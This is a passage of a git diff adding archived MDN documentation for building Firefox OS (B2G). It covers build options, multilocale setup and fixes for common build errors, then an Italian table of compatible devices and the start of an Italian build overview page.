+</pre>
+<h3 id="Setting_the_number_of_processor_cores_to_use">Setting the number of processor cores to use</h3>
+<p>By default, the B2G build scripts use the number of cores your system has plus two as the number of parallel tasks to run. You can change this by specifying the <code>-j</code> parameter when running <code>build.sh</code>. This can be handy if you're using your system for other things while building in the background and need to reduce CPU load a bit. It's also handy when you're having build problems, as it can make reading error output from the build process easier if you have just one task going at a time!</p>
+<p>For example, to build using just two parallel tasks:</p>
+<pre>./build.sh -j2
+</pre>
+<p>The most common use case for this, however, is to prevent builds from running in parallel at all. This makes the output of the process much easier to read, making it easier to sort out build problems. To do this:</p>
+<pre>./build.sh -j1
+</pre>
+<h3 id="Building_multilocale">Building multilocale</h3>
+<p>To create a multilocale build, do the following:</p>
+<h4 id="Gaia">Gaia</h4>
+<ol>
+ <li>Determine which Gaia languages file to use. We're currently using <a href="http://hg.mozilla.org/integration/gaia-nightly/file/e2eed5263e77/shared/resources/languages-dev.json"><code>locales/languages_dev.json</code></a> and <a href="http://hg.mozilla.org/integration/gaia-nightly/file/e2eed5263e77/shared/resources/languages-all.json"><code>locales/languages_all.json</code></a> as our Gaia languages files.</li>
+ <li>Clone the appropriate locales from <a href="http://hg.mozilla.org/gaia-l10n">http://hg.mozilla.org/gaia-l10n</a> into a directory; we use <code>gaia-l10n/</code>. You could use the locales/ directory . You'll need to clone a repo for each locale listed in the languages file.</li>
+ <li>In your environment, set <code>LOCALE_BASEDIR</code> to the absolute path of the directory in step 2. Set <code>LOCALES_FILE</code> to the absolute path of the file in step 1.</li>
+ <li>Also, you can set a GAIA_DEFAULT_LOCALE if you want to set a default locale.</li>
+</ol>
+<pre style="font-size: 12px;">cd gaia/locales/
+hg clone https://hg.mozilla.org/releases/gaia-l10n/v1_2/es</pre>
+<div>
+ Set your environment variables:</div>
+<div>
+  </div>
+<pre>export LOCALE_BASEDIR=$PWD/locales
+export LOCALES_FILE=$PWD/locales/languages_dev.json
+export GAIA_DEFAULT_LOCALE=es
+</pre>
+<p>And the <code>languages-dev.json</code> could be replaced by your own <code>languages-own.json</code> path, which could formed like this. <span style="line-height: 1.5;">You would need to add an entry per each repo cloned in your locales directory.</span><span style="line-height: 1.5;">:</span></p>
+<pre>{
+  "en-US"     : "English (US)",
+  "es"        : "Español"
+}
+</pre>
+<div>
+ <p>Since bug 884752 landed (November 2013), to add keyboard layouts (if available in Gaia), you can use parameter GAIA_KEYBOARD_LAYOUTS. </p>
+ <p>Bug: https://bugzilla.mozilla.org/show_bug.cgi?id=884752</p>
+ <p>Layouts: https://github.com/mozilla-b2g/gaia/tree/v1.2/keyboard/layouts</p>
+ <p>For example, to add Spanish and Italian keyboard layout, run the previous command adding</p>
+ <pre>  GAIA_KEYBOARD_LAYOUTS=en,es,it</pre>
+ <p><span style="line-height: 1.5;">At this point you're ready to flash Gaia to the phone for the first time. Connect the phone and make sure Remote Debugging is checked in Settings &gt; Device Information &gt; More Information &gt; Developer.  You only need to do this once, for your own build of Gaia will have that pref turned on thanks to REMOTE_DEBUGGER=1:</span></p>
+ <pre> make clean &amp;&amp; make production LOCALES_FILE=locales/languages-own.json</pre>
+ <h4 id="Gecko">Gecko</h4>
+ <ol>
+  <li>Determine which Gecko languages file to use. We're currently using <a href="http://hg.mozilla.org/releases/mozilla-b2g18/file/default/b2g/locales/all-locales">b2g/locales/all-locales</a> as our Gecko languages file.</li>
+  <li>Clone the appropriate locales into a directory; this can be <code>gecko-l10n/</code> .
+   <ul>
+    <li>For mozilla-central, use <a href="http://hg.mozilla.org/l10n-central/">http://hg.mozilla.org/l10n-central/</a></li>
+    <li>For mozilla-aurora, use <a href="http://hg.mozilla.org/releases/l10n/mozilla-aurora/">http://hg.mozilla.org/releases/l10n/mozilla-aurora/</a></li>
+    <li>For mozilla-beta or mozilla-b2g18 or mozilla-b2g26_v1_2, use <a href="http://hg.mozilla.org/releases/l10n/mozilla-beta/">http://hg.mozilla.org/releases/l10n/mozilla-beta/</a></li>
+   </ul>
+  </li>
+  <li>Clone <a href="http://hg.mozilla.org/build/compare-locales">compare-locales</a>.</li>
+  <li>
+   <p>In your environment, set <code>L10NBASEDIR</code> to the absolute path of the directory in step 2. Set <code>MOZ_CHROME_MULTILOCALE</code> to a string of space-delimited locales from step 1.</p>
+   <p>Add the <code>compare-locales/scripts</code> dir to your <code>PATH</code>, and <code>compare-locales/lib</code> to your <code>PYTHONPATH</code>.</p>
+   For instance,
+   <pre>export L10NBASEDIR=$PWD/gecko-l10n
+export MOZ_CHROME_MULTILOCALE="ja zh-TW"
+export PATH="$PATH:$PWD/compare-locales/scripts"
+export PYTHONPATH="$PWD/compare-locales/lib"
+</pre>
+   <p>Once you have the above set up, you can run build.sh.</p>
+   <p>You can <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=818560#c9/">use .userconfig</a> as well:</p>
+   <pre>## Gaia
+export GAIA_DEFAULT_LOCALE=es
+export LOCALE_BASEDIR=/b2g/gaia-l10n-transifex-v1.2/
+export LOCALES_FILE=/b2g/languages_propio.json
+
+## Gecko
+export L10NBASEDIR='/b2g/gecko-l10n-v1.2'
+export MOZ_CHROME_MULTILOCALE="es-ES eu ca gl pt-BR"
+export PATH="$PATH:/b2g/compare-locales/scripts"
+export PYTHONPATH="/b2g/compare-locales/lib"
+  </pre>
+  </li>
+ </ol>
+ <div class="note">
+  <p>There are some mappings between Gaia languages and Gecko ones. For example, in Gaia, Spanish is "es", but on Gecko is tranlated to "Spanish of Spain" (es-ES)</p>
+ </div>
+ <p>These instructions may change as we smooth things out.</p>
+ <h2 id="Known_errors">Known errors</h2>
+ <h3 id="Build_failed!">"Build failed!"</h3>
+ <p><span id="cke_bm_81S" style="display: none;"> </span>If you get a general "Build failed" message, you should always try reconnecting your phone to your computer; sometimes the phone can become unmounted for a variety of reasons.</p>
+ <div class="note">
+  <p><strong>Note that configuring and building B2G for Keon DOESN'T WORK on Mac</strong>. You'll need to use Linux to build for this device.<span id="cke_bm_81E" style="display: none;"> </span></p>
+ </div>
+ <h3 id="Mountain_Lion-specific_build_errors">Mountain Lion-specific build errors</h3>
+ <div>
+  <p>1. If you are building on OS X 10.8 "Mountain Lion" (Xcode 4.4.1 or later) and encounter the following error:</p>
+  <pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre>
+  Edit the file: <code style="font-size: 14px;">B2G/external/qemu/Makefile.android</code> and add in line 78:<br>
+  <pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
+</pre>
+ </div>
+ <div>
+  2. If you are on Mountain Lion and you receive an error during ./build.sh like:</div>
+ <div>
+  <pre>/System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h:797:9: error: too many #pragma options align=reset</pre>
+  <p>Replace all instances of '#pragma options align=reset' with '#pragma pack()' inside /System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h</p>
+ </div>
+ <h3 id="Undefined_symbols__sqlite3_androidopt_handle_pragma_and__sqlite3_androidopt_open">Undefined symbols "_sqlite3_androidopt_handle_pragma" and "_sqlite3_androidopt_open"</h3>
+ <p>This error appears if you are building on OS X 10.7 or newer with Xcode 4.5 or newer. To fix this, apply the patch at <a href="https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ">https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ</a> to the external/sqlite/dist/Android.mk file.</p>
+ <h3 id="KeyedVector.h19331_error_indexOfKey_was_not_declared_in_this_scope">KeyedVector.h:193:31: error: indexOfKey was not declared in this scope</h3>
+ <p>This error appears when your gcc version is too recent. Install gcc/g++/g++-multilib 4.6.x versions. See <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customizing with the .userconfig file</a> for more information.</p>
+ <div class="note">
+  <p><strong>Community Note:</strong> It is possible to use gcc 4.7.x with slight modifications to the B2G code (gcc will guide you) but you won't get any help! Neither with modifying the code nor with bugs you encounter.</p>
+ </div>
+ <h3 id="arm-linux-androideabi-g_Internal_error_Killed_(program_cc1plus)">arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</h3>
+ <p>If you see this message, it most likely means that free memory is lacking. Ensure there is enough free memory before running <code>./build.sh</code>. It should run fine if your system has 4GB of RAM.</p>
+ <h3 id="...is_referenced_by_DSO_error">"...is referenced by DSO" error</h3>
+ <p>While building the emulator, if you get /usr/bin/ld: out/host/linux-x86/obj/EXECUTABLES/triangleCM_intermediates/triangleCM: hidden symbol `_XGetRequest' in out/host/linux-x86/obj/STATIC_LIBRARIES/libSDL_intermediates/libSDL.a(SDL_x11dyn.o) is referenced by DSO.</p>
+ <p>You can get this with some versions in binutils. If you run Debian Stable, you can use the <em>gold</em> linker by installing the package <code>binutils-gold</code>. Note that the <em>gold</em> linker is already installed by <code>binutils</code>, but it's not used by default; <code>binutils-gold</code> does just that.</p>
+ <h3 id="If_you_get_build_errors_while_the_build_system_is_running_tests">If you get build errors while the build system is running tests</h3>
+ <p>Sometimes (especially after build tool or operating system updates) you'll get weird errors like this when the build system runs its post-build tests:</p>
+ <pre>Generating permissions.sqlite...
+test -d profile || mkdir -p profile
+run-js-command  permissions
+WARNING: permission unknown:offline-app
+WARNING: permission unknown:indexedDB-unlimited
+build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add]
+make[1]: *** [permissions] Error 3
+make: *** [gaia/profile.tar.gz] Error 2</pre>
+ <p>In this situation, try deleting the <code>gaia/xulrunner-sdk</code> directory and re-pulling the code:</p>
+ <pre>rm -r gaia/xulrunner-sdk
+</pre>
+ <p>This deletes the downloaded, precompiled copy of <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> that the build system retrieves automatically; on your next build, a new copy of XULRunner will be automatically retrieved.</p>
+ <h3 id="Cannot_fetch_platformlibcore">Cannot fetch platform/libcore</h3>
+ <p>If you tried to configure your B2G build for Nexus S (<code>./config.sh nexus-s</code>) and got an error related to libcore, it is because of a problem with the linaro git that feeds into this. To fix this, checkout the B2G manifest like so:</p>
+ <pre class="brush: bash">git clone https://github.com/mozilla-b2g/b2g-manifest.git</pre>
+ <p>Edit the <code>nexus-s.xml</code> file in this repo, replacing the linaro git entry with a reference to the aosp entry, which should read like so:</p>
+ <pre class="brush: xml">&lt;default revision="refs/tags/android-4.0.4_r1.2"
+              remote="aosp"
+              sync-j="4" /&gt;</pre>
+ <p>Commit these changes (<code>git commit -a</code>) and then change the <code>config.sh</code> file in the master branch of the main B2G repo that you checked out to point to your modified local manifest instead of the Mozilla one:</p>
+ <pre class="brush: bash">GITREPO=${GITREPO:-"file:///home/path/to/my/b2g-manifest"}</pre>
+ <h3 id="clang_errors_when_building_with_Xcode_5_on_Mac">clang errors when building with Xcode 5 on Mac</h3>
+ <p>If you are building on Mac OS X 10.8 with Xcode 5, you will likely see errors like the following:</p>
+ <pre class="brush: bash">clang: error: argument unused during compilation: '-include system/core/include/arch/darwin-x86/AndroidConfig.h'
+clang: error: argument unused during compilation: '-U DEBUG'
+clang: error: argument unused during compilation: '-U DEBUG'
+clang: error: argument unused during compilation: '-MF out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.d'
+make: *** [out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.o] Error 1</pre>
+ <p>This is because Xcode 5 changes the g++ compiler in <code>/usr/bin</code>, which breaks the build process if you try to use it to compile. In order to work around the problem, edit the following line in <code>build/core/combo/HOST_darwin-x86.mk:</code></p>
+ <pre class="brush: bash">HOST_CXX := g++</pre>
+ <p>to</p>
+ <pre class="brush: bash">HOST_CXX := g++-4.6
+ifeq (,$(wildcard /usr/local/bin/g++-4.6))
+ HOST_CXX := g++
+endif</pre>
+ <p>Next, you'll want to uninstall gcc, using brew (this assumes you've run the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Run_Firefox_OS_Mac_Bootstrap">Mac OS bootstrap script</a> — if not, you'll need to complete that step before continuing):</p>
+ <pre class="brush: bash">brew uninstall gcc-4.6</pre>
+ <p>Now reinstall gcc with multilib and c++ support:</p>
+ <pre class="brush: bash">brew install --enable-cxx https://gist.github.com/artlogic/6988658/raw/aeb9d1ea098274ad3f3fe2637b9df7f308a8a120/gcc-4.6.rb</pre>
+ <p>Make sure /usr/local/bin is on your PATH. You can do this temporarily by typing the following into the command prompt:</p>
+ <pre class="brush: bash">export PATH=/usr/local/bin:$PATH</pre>
+ <p>You can make the above change permanent by adding it to the <code>.bash_profile</code> file in your home directory.</p>
+ <p>After you've set your PATH, make sure you can run both of the following commands:</p>
+ <pre class="brush: bash">gcc-4.6 -v
+
+g++-4.6 -v</pre>
+ <p>If either of these commands fail, you may need to relink your gcc using brew with the following command:</p>
+ <pre class="brush: bash">brew link --overwrite gcc-4.6</pre>
+ <p>It's also possible that <code>/usr/bin/c++</code> is not pointing at clang++ as it should be with Xcode 5 installed. You can determine if it is by typing the following:</p>
+ <pre class="brush: bash">ls -l /usr/bin/c++</pre>
+ <p>It should return something that looks like this:</p>
+ <pre class="brush: bash">lrwxr-xr-x 1 root admin 7 Sep 19 11:40 /usr/bin/c++ -&gt; clang++
+</pre>
+ <p>If c++ is pointing at something other than clang++, update it with the following commands:</p>
+ <pre class="brush: bash">sudo rm /usr/bin/c++
+
+sudo ln -s /usr/bin/clang++ /usr/bin/c++</pre>
+ <h3 id="Cannot_pull_files_from_backup_directory">Cannot pull files from backup directory</h3>
+ <p>This could happen when the USB connection is broken while the script pulls data from device to computer.</p>
+ <p>When you run the script again, you'll probably get the following (the example is for the Peak device):</p>
+ <pre class="brush: bash"><code>Pulling files from ../../../backup-peak
+cat: ../../../backup-peak/system/build.prop: No such file or directory
+Found firmware with build ID
+Pulling "libaudioeq.so"
+cp: cannot stat `../../../backup-peak/system/lib/libaudioeq.so': No such file or directory
+Failed to pull libaudioeq.so. Giving up.
+
+&gt; Build failed! &lt;
+
+Build with |./build.sh -j1| for better messages
+If all else fails, use |rm -rf objdir-gecko| to clobber gecko and |rm -rf out| to clobber everything else.</code></pre>
+ <p>To solve this, it is not necessary to remove the whole objdir-gecko or out directories. Just remove the backup directory, like this (for the example above):</p>
+ <pre class="brush: bash"><code class="brush: bash">$rm -rf backup-peak</code></pre>
+ <h2 id="Next_steps">Next steps</h2>
+ <p>After building, your next step depends on whether you built Boot to Gecko for the emulator or for a real mobile device; see the following articles for details:</p>
+ <ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="Mozilla/Firefox_OS/Using_the_B2G_emulators">Using the B2G emulators</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Using the B2G desktop client</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/Installing_on_a_mobile_device" title="Mozilla/Firefox_OS/Installing_on_a_mobile_device">Installing Boot to Gecko on a mobile device</a></li>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="Mozilla/Firefox_OS/Pandaboard">Installing Boot to Gecko on a pandaboard</a></li>
+ </ul>
+</div>
+<h3 id="Submitting_bugs_on_B2GFirefox_OSGaia">Submitting bugs on B2G/Firefox OS/Gaia</h3>
+<p>Once you've got a B2G/Firefox OS build running, you'll probably want to start to file bugs against this specific version, so the Firefox OS community can improve things as effectively as possible. You'll want to <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">file the bug on Bugzilla</a>, under the "Firefox OS" project, but you should include version specifics:</p>
+<ol>
+ <li>To start with, tell us the major version number, e.g. <em>1.4.0.0-prerelease</em>. This can be found on the device under <em>Settings &gt; Device Information</em>.</li>
+ <li>You can provide more specific version identifiers by  returning the current hashes from the gaia and gecko repositories. This can be done like so:
+  <pre class="brush: bash">#!/bin/bash
+(cd gaia;  echo "gaia  $(git rev-parse HEAD)")
+(cd gecko; echo "gecko $(git rev-parse HEAD)")</pre>
+ </li>
+</ol>
diff --git a/files/it/archive/b2g_os/building_and_installing_firefox_os/compatible_devices/index.html b/files/it/archive/b2g_os/building_and_installing_firefox_os/compatible_devices/index.html
new file mode 100644
index 0000000000..b2c3808168
--- /dev/null
+++ b/files/it/archive/b2g_os/building_and_installing_firefox_os/compatible_devices/index.html
@@ -0,0 +1,227 @@
+---
+title: Dispositivi compatibili
+slug: Archive/B2G_OS/Building_and_installing_Firefox_OS/Compatible_Devices
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices
+---
+<div class="note">
+<p><strong>Nota</strong>: Ogni dispositivo ha un proprio "nome in codice" da usare per la compilazione. Per esempio per compilare per il Nexus 6 scrivere:  <code>./build.sh nexus-6-l</code></p>
+</div>
+
+<h2 id="Dispositivi_di_sviluppo">Dispositivi di sviluppo</h2>
+
+<p>Questi dispositivi sono i dispositivi di riferimento ufficiali di Mozilla per lo sviluppo di Firefox OS. </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Z3 Compact (Kitkat)</strong></td>
+   <td style="text-align: center;"><strong>Z3</strong> <strong>(Kitkat)</strong></td>
+   <td style="text-align: center;"><strong>Flame</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">aries-kk</td>
+   <td style="text-align: center;">leo-kk</td>
+   <td style="text-align: center;">flame-kk</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Dispositivi_supportati_dalla_Community">Dispositivi supportati dalla Community</h2>
+
+<h3 id="Nexus">Nexus</h3>
+
+<p>Questi dispositivi sono (quasi del tutto) automaticamente supportati da Firefox OS poiche' sono dispositivi di riferimento di Google per AOSP <span class="st"><em>(Android Open Source Project)</em></span>.</p>
+
+<table class="standard-table" style="line-height: 1.5;">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12037/nexus6.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12035/nexus5.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12033/nexus4.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nexus 6</strong></td>
+   <td style="text-align: center;"><strong>Nexus 5</strong></td>
+   <td style="text-align: center;"><strong>Nexus 4</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">nexus-6-l</td>
+   <td style="text-align: center;">nexus-5-l</td>
+   <td style="text-align: center;">nexus-4-kk</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sony">Sony</h3>
+
+<p>Questi dispositivi usano il programma Open Device di Sony Mobile, che intende supportare tutti i moderni dispositivi Xperia per l'AOSP. Attualmente 10 dispositivi su 3 piattaforme sono candidabili alla compilazione.</p>
+
+<p>Questi dispositivi sono costruiti sulla base Lollipop AOSP.</p>
+
+<div class="note">
+<p>Finora nessun dispositivo Sony supporta l'uso della fotocamera. Questo comunque rientra tra i lavori da fare per gli sviluppatori dei dispositivi Sony.</p>
+</div>
+
+<h4 id="Piattaforma_Sony_Shinano">Piattaforma Sony Shinano</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12007/leo.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12009/aries.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12011/scorpion.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12013/sirius.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Z3</strong></td>
+   <td style="text-align: center;"><strong>Z3 Compact</strong></td>
+   <td style="text-align: center;"><strong>Z3 Tablet Compact</strong></td>
+   <td style="text-align: center;"><strong>Z2</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">leo-l</td>
+   <td style="text-align: center;">aries-l</td>
+   <td style="text-align: center;">scorpion-l</td>
+   <td style="text-align: center;">sirius-l</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+</dl>
+
+<h4 id="Piattaforma_Sony_Rhine">Piattaforma Sony Rhine</h4>
+
+<div class="note">
+<p>Rhine devices use a legacy NFC chip so this feature is currently missing. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1226720">bug 1226720</a></p>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12015/honami.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12017/amami.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Z1</strong></td>
+   <td style="text-align: center;"><strong>Z1 Compact</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">honami-l</td>
+   <td style="text-align: center;">amami-l</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Sony_Yukon_Platform">Sony Yukon Platform</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12019/tianchi.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12021/seagull.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12023/eagle.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12025/flamingo.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>T2 Ultra</strong></td>
+   <td style="text-align: center;"><strong>T3</strong></td>
+   <td style="text-align: center;"><strong>M2</strong></td>
+   <td style="text-align: center;"><strong>E3</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">tianchi-l</td>
+   <td style="text-align: center;">seagull-l</td>
+   <td style="text-align: center;">eagle-l</td>
+   <td style="text-align: center;">flamingo-l</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="CyanogenMod_Supported_Devices">CyanogenMod Supported Devices</h3>
+
+<p>Here be dragons!</p>
+
+<h3 id="Legacy_Devices">Legacy Devices</h3>
+
+<p>Some old devices are no longer maintained directly by Mozilla, but a community of developers keeps these devices alive (yay open source!).</p>
+
+<h2 id="Obsolete_Devices">Obsolete Devices</h2>
+
+<p>Several old devices are no longer maintained, and do not have a community to keep them alive. The current status of these devices is unknown, which probably means they cannot be built on Firefox OS master branches.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12069/peak.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12067/keon.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12071/inari.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12077/hamachi.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Geeksphone Peak</strong></td>
+   <td style="text-align: center;"><strong>Geeksphone Keon</strong></td>
+   <td style="text-align: center;"><strong>ZTE Open</strong></td>
+   <td style="text-align: center;"><strong>TCL Fire</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">peak</td>
+   <td style="text-align: center;">keon</td>
+   <td style="text-align: center;">inari</td>
+   <td style="text-align: center;">hamachi</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12083/galaxy-s2.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12085/galaxy-nexus.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12087/nexus-s.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12087/nexus-s.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Samsung Galaxy S2</strong></td>
+   <td style="text-align: center;"><strong>Galaxy Nexus</strong></td>
+   <td style="text-align: center;"><strong><a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S">Nexus S</a></strong></td>
+   <td style="text-align: center;"><strong><a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S">Nexus S 4G</a></strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">galaxy-s2</td>
+   <td style="text-align: center;">galaxy-nexus</td>
+   <td style="text-align: center;">nexus-s</td>
+   <td style="text-align: center;">nexus-s-4g</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12073/flatfish.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12075/vixen.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12079/pandaboard.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12081/rpi.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Foxconn InFocus</strong></td>
+   <td style="text-align: center;"><strong>Via Vixen</strong></td>
+   <td style="text-align: center;"><strong><a href="/en-US/Firefox_OS/Pandaboard">Pandaboard</a></strong></td>
+   <td style="text-align: center;"><strong>Raspberry Pi</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;">flatfish</td>
+   <td style="text-align: center;">vixen</td>
+   <td style="text-align: center;">pandaboard</td>
+   <td style="text-align: center;">rpi</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/it/archive/b2g_os/building_and_installing_firefox_os/index.html b/files/it/archive/b2g_os/building_and_installing_firefox_os/index.html
new file mode 100644
index 0000000000..2d606cdb93
--- /dev/null
+++ b/files/it/archive/b2g_os/building_and_installing_firefox_os/index.html
@@ -0,0 +1,120 @@
+---
+title: Compilare e installare B2G OS
+slug: Archive/B2G_OS/Building_and_installing_Firefox_OS
+tags:
+  - B2G OS
+  - Documentazione compilazione
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Compilazione e installazione</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Panoramica su compilazione ed installazione</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">Sommario del processo di compilazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Prerequisiti per la compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparare la tua prima compilazione</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building">Compilare B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">Add-on per l"installazione di B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Compilare B2G OS per Flame su Mac OS X</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Scegliere come eseguire Gaia e B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Dispositivi compatibili</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installare B2G OS su dispositivo mobile</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creare e applicare pacchetti di aggiornamento per B2G OS</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Compilare e installare aggiornamenti via Internet prodotti dalla comunità</a></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">Foglio di riferimento per le variabili di compilazione di B2G OS</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Portabilità di B2G OS</summary>
+          <ol>
+            <li><strong><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS">Panoramica sulla portabilità</a></strong></li>
+            <li><a href="/it/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Basi della portabilità</a></li>
